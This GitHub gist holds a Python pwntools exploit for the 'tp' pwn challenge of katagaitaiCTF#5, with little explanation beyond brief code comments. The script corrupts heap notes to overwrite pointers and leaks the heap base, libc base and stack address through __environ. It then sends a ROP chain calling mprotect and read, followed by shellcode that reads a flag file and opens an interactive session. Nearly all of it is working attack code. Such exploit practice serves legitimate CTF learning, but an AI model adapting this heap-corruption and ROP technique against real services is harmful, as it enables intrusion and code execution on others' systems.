Skip to content

Instantly share code, notes, and snippets.

@ptr-yudai
Created August 28, 2016 15:21
Show Gist options
  • Save ptr-yudai/376cb12b26c9677ac1f6ac8de4f21169 to your computer and use it in GitHub Desktop.
Save ptr-yudai/376cb12b26c9677ac1f6ac8de4f21169 to your computer and use it in GitHub Desktop.
tp - Pwn - katagaitaiCTF#5 関西med
from pwn import *
class tp:
#
# Constructor
#
def __init__(self, host, port):
# Connect to server
self.sock = remote(host, port)
# List of commands
self.cmd_new = 0
self.cmd_read = 1
self.cmd_write = 2
self.cmd_free = 3
self.cmd_delete = 4
return
#
# Destructor
#
def __del__(self):
self.sock.close()
return
#
# Command 0 : new
#
def remote_new(self, size):
self.sock.send( p32(self.cmd_new) )
self.sock.send( p64(size & 0xFFffFFffFFffFFff) )
ret = u32(self.sock.recv(4))
print("[info] new({0}) --> {1}".format(size, ret))
return ret
#
# Command 1 : read
#
def remote_read(self, note, data, noread=False):
self.sock.send( p32(self.cmd_read) )
self.sock.send( p32(note) )
self.sock.send( p64(len(data)) )
self.sock.send( data )
if noread:
ret = ""
print("[info] read without recv!")
else:
ret = u32(self.sock.recv(4))
print("[info] read({0}, {1}, [data]) --> {2}".format(note, len(data), ret))
return ret
#
# Command 2 : write
#
def remote_write(self, note, size):
self.sock.send( p32(self.cmd_write) )
self.sock.send( p32(note) )
self.sock.send( p64(size) )
data = self.sock.recv(size)
ret = u32(self.sock.recv(4))
print("[info] write({0}, {1}, [data]) --> {2}".format(note, size, ret))
return ret, data
#
# Command 3 : free
#
def remote_free(self, note):
self.sock.send( p32(self.cmd_free) )
self.sock.send( p32(note) )
ret = u32(self.sock.recv(4))
print("[info] free({0}) --> {1}".format(note, ret))
return ret
#
# Command 4 : delete
#
def remote_delete(self, note):
self.sock.send( p32(self.cmd_delete) )
self.sock.send( p32(note) )
ret = u32(self.sock.recv(4))
print("[info] delete({0}) --> {1}".format(note, ret))
return ret
#
# Main
#
if __name__ == '__main__':
base_id = 0x13 # 0x1337?
tp = tp('127.0.0.1', 9999)
raw_input('Press enter after attaching to the server with GDB.')
## Prepare for exploitation
note1 = tp.remote_new(1)
note2 = tp.remote_new(1)
# use main_arena
note3 = tp.remote_new(-1) # linked to fastbins, main_arena
# use thread_arena
note4 = tp.remote_new(-1) # linked to bins, thread_arena
tp.remote_free(note2) # note2.used = 0
note5 = tp.remote_new(0x28) # &note5 == &note4
# write to &note4 --> overwrite note4.id
tp.remote_read(note5, p64(base_id))
# new map having same address as note4 (whose id is base_id)
note6 = tp.remote_new(0x100) # linked to bins, thread_arena
## Leak heap_base
# write to &note4 --> overwrite note4.id and note4.buffer
# then note4.buffer will have the same address as bins, thread_arena
tp.remote_read(note5, p64(base_id) + "\x70\x08")
# 0x00007fe6dc000870 -> 0x00007fe6dc000858
# so ret-0x858 is the very address of the heap base
heap_base = tp.remote_write(base_id, 8)[1]
heap_base = u64(heap_base) - 0x858
print("[info] heap base = 0x{0:x}".format(heap_base))
## Leak libc_base
# leak main_arena
tp.remote_read(note5, p64(base_id) + "\x88\x08")
main_arena = tp.remote_write(base_id, 8)[1]
main_arena = u64(main_arena)
print("[info] main_arena = 0x{0:x}".format(main_arena))
# leak libc_base
libc_base = main_arena - 0x3be760 # (because main_arena has solid address)
print("[info] libc_base = 0x{0:x}".format(libc_base))
## Leak ret
# leak __environ (and read)
tp.remote_read(note5, p64(base_id) + p64(libc_base + 0x3c14a0))
environ = tp.remote_write(base_id, 8)[1]
environ = u64(environ)
print("[info] __environ = 0x{0:x}".format(environ))
# leak ret
ret = environ - 0x200
print("[info] ret = 0x{0:x}".format(ret))
## shallcode!? --> doesn't work!
shellcode = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff"
shellcode += "/home/tp/flag1\x00"
## shellcode!! --> does work!
shellcode = "EB225F4831F64831D26A02580F05505766FFCA5E5F4831"
shellcode += "C00F056A016A01505A5F580F05E8D9FFFFFF"
shellcode = shellcode.decode("hex") + "/home/tp/flag1\0"
## ROP gadget!
# rp-lin-x64
pop_rdx = 0x00001b8e
pop_rsi = 0x00024885
pop_rdi = 0x00022b9a
## ROP payload!
payload = ""
# mprotect(rdi=addr, rsi=len, rdx=prot)
payload += p64(libc_base + pop_rdi) # .addr
payload += p64(heap_base + 0x1000)
payload += p64(libc_base + pop_rsi) # .size
payload += p64(len(shellcode) + 1)
payload += p64(libc_base + pop_rdx) # .prot
payload += p64(7)
payload += p64(libc_base + 0xf48d0) # mprotect
# read(rsi=addr, rdx=size, rdi=std?)
payload += p64(libc_base + pop_rsi) # .addr
payload += p64(heap_base + 0x1000)
payload += p64(libc_base + pop_rdx) # .size
payload += p64(len(shellcode))
payload += p64(libc_base + pop_rdi) # .fd
payload += p64(0)
payload += p64(libc_base + 0xeb6a0) # read
payload += p64(heap_base + 0x1000) # jump to shellcode
tp.remote_read(note5, p64(base_id) + p64(ret) + p64(len(payload)))
tp.remote_read(base_id, payload, noread=True)
## Send shellcode!
tp.sock.send(shellcode)
## interactive mode
tp.sock.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment